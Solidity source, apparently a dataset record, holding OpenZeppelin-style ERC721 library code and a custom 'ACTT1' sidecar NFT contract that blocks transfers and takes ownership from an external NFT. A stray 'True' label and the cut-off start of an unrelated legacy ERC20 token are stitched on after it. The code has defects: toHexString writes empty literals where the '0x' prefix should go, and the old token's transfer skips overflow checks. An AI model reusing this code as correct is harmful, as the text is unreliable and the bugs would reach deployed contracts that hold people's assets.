* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "";
buffer[1] = "";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
// adapted from tkeber solution: https://ethereum.stackexchange.com/a/8447
function toAsciiString(address x) internal pure returns (string memory) {
bytes memory s = new bytes(40);
for (uint i = 0; i < 20; i++) {
bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i)))));
bytes1 hi = bytes1(uint8(b) / 16);
bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi));
s[2*i] = char(hi);
s[2*i+1] = char(lo);
}
return string(s);
}
function char(bytes1 b) internal pure returns (bytes1 c) {
if (uint8(b) < 10) return bytes1(uint8(b) + 0x30);
else return bytes1(uint8(b) + 0x57);
}
// adapted from t-nicci solution https://ethereum.stackexchange.com/a/31470
function subString(string memory str, uint startIndex, uint endIndex) internal pure returns (string memory) {
bytes memory strBytes = bytes(str);
bytes memory result = new bytes(endIndex-startIndex);
for(uint i = startIndex; i < endIndex; i++) {
result[i-startIndex] = strBytes[i];
}
return string(result);
}
function compareStrings(string memory a, string memory b) internal pure returns (bool) {
return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b))));
}
// nice solution: https://ethereum.stackexchange.com/questions/56319/how-to-convert-bytes32-to-string
function toShortString(bytes32 _data) internal pure returns (string memory) {
bytes memory _bytesContainer = new bytes(32);
uint256 _charCount = 0;
// loop through every element in bytes32
for (uint256 _bytesCounter = 0; _bytesCounter < 32; _bytesCounter++) {
bytes1 _char = bytes1(bytes32(uint256(_data) * 2 ** (8 * _bytesCounter)));
if (_char != 0) {
_bytesContainer[_charCount] = _char;
_charCount++;
}
}
bytes memory _bytesContainerTrimmed = new bytes(_charCount);
for (uint256 _charCounter = 0; _charCounter < _charCount; _charCounter++) {
_bytesContainerTrimmed[_charCounter] = _bytesContainer[_charCounter];
}
return string(_bytesContainerTrimmed);
}
}
contract externalNft {
function ownerOf(uint256 _tokenId) external view returns (address owner) {}
function name() external view returns (string memory) {}
}
/**
* @title Accompaniments by Takens Theorem contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract ACTT1 is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
uint256 private MAX_SUPPLY = 32;
mapping (uint256 => string) private nftDescriptions;
mapping (uint256 => string) private nftNames;
mapping (uint256 => string) private ipfsCids;
mapping (uint256 => address) private externalNftAddrs;
mapping (uint256 => uint256) private externalTokenIds;
string private ipfs = 'https://ipfs.io/ipfs/';
function totalSupply() public view returns (uint256) {
return MAX_SUPPLY;
}
function updateOwner(uint256 tokenId) public {
require(_exists(tokenId), "Sidecar NFT: nonexistent token");
emit Transfer(address(this), ownerOf(tokenId), tokenId);
}
function renderDescription(uint256 tokenId) private view returns (string memory) {
string memory extName = externalNft(externalNftAddrs[tokenId]).name();
return string(abi.encodePacked("DO NOT BUY, SELL OR TRANSFER THIS NFT.\\n\\nThis is a sidecar NFT: It cannot be bought, sold or transferred directly. This NFT travels with a token of:\\n\\n- ",extName,"\\n- 0x",
Strings.toAsciiString(externalNftAddrs[tokenId]),"\\n- Accompaniment to token #",Strings.toString(externalTokenIds[tokenId]),
"\\n\\n",nftDescriptions[tokenId],
"\\n\\n- IPFS CID:\\n- ",ipfsCids[tokenId],"\\n\\n- Owner:\\n- 0x",
Strings.toAsciiString(ownerOf(tokenId))));
}
function mintNft(string memory name, address externalNftContract, uint256 externalTokenId, string memory description, string memory ipfsCid) public onlyOwner {
require(_tokenIds.current() < MAX_SUPPLY,'ERROR: minting complete');
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
nftDescriptions[newItemId] = description;
nftNames[newItemId] = name;
ipfsCids[newItemId] = ipfsCid;
externalNftAddrs[newItemId] = externalNftContract;
externalTokenIds[newItemId] = externalTokenId;
_mint(_msgSender(), newItemId);
}
function sidecarNotice() private pure {
revert('Sidecar NFT: cannot buy, sell or transfer');
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override {
sidecarNotice();
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) public override {
sidecarNotice();
}
function transferFrom(address from, address to, uint256 tokenId) public override {
sidecarNotice();
}
function approve(address to, uint256 tokenId) public override {
sidecarNotice();
}
function setApprovalForAll(address operator, bool _approved) public override {
sidecarNotice();
}
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
uint256 balance = 0;
for (uint256 i = 1; i <= _tokenIds.current(); i++) {
if (ownerOf(i) == owner) {
balance += 1;
}
}
return balance;
}
function ownerOf(uint256 tokenId) public view override returns (address owner) {
require(_exists(tokenId), "Sidecar NFT: nonexistent token");
// summon owner of paired tokenId from root contract
return externalNft(externalNftAddrs[tokenId]).ownerOf(externalTokenIds[tokenId]);
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
bytes memory json = abi.encodePacked('{"name":"',nftNames[tokenId],
'", "description":"',renderDescription(tokenId),
'", "created_by":"Takens Theorem", "image":"',ipfs,ipfsCids[tokenId],
'"}');
return string(abi.encodePacked('data:text/plain,', json));
}
constructor() ERC721("ACTT1", "Accompaniments by Takens Theorem") {}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-05
*/
pragma solidity ^0.4.4;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
